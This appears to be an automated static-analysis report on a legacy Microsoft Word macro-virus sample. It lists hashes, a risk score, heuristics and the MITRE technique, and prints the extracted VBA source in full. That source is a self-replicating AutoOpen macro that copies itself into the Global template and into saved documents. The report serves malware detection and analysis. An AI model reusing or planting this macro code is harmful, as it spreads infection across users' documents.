Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad9fdf764fbcd644…

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-11-24 19:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b223b42e8db1fab029c989ce4957af0b SHA-1: a4afd23b8fbfa90ed5a3cae45510d45b3738d953 SHA-256: ad9fdf764fbcd644bc608c358b8989512cc5caa627002bf5435f315cf67355b6
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the global template, which is a common technique for establishing persistence or spreading malware. No external network activity or dropped files were detected in static analysis.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 980 bytes
SHA-256: c73a50078ca5eb349a2d9524668a6d0ac836d26618a239546a1034d268588f51
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim total
Dim infected
Dim cycle
Dim name_$
WordBasic.DisableInput 1: On Error Resume Next: total = WordBasic.CountMacros(0): infected = 0
If total > 0 Then
    For cycle = 1 To total
    If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then
        infected = 1
    End If
    Next cycle
End If
name_$ = WordBasic.[WindowName$]() + ":AutoOpen"
If infected <> 1 Then
    WordBasic.MacroCopy name_$, "Global:AutoOpen", 1
Else
    infected = 0
End If
If WordBasic.CountMacros(1) <> 0 Then
    infected = 1
End If
If infected = 0 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", name_$
End If
End Sub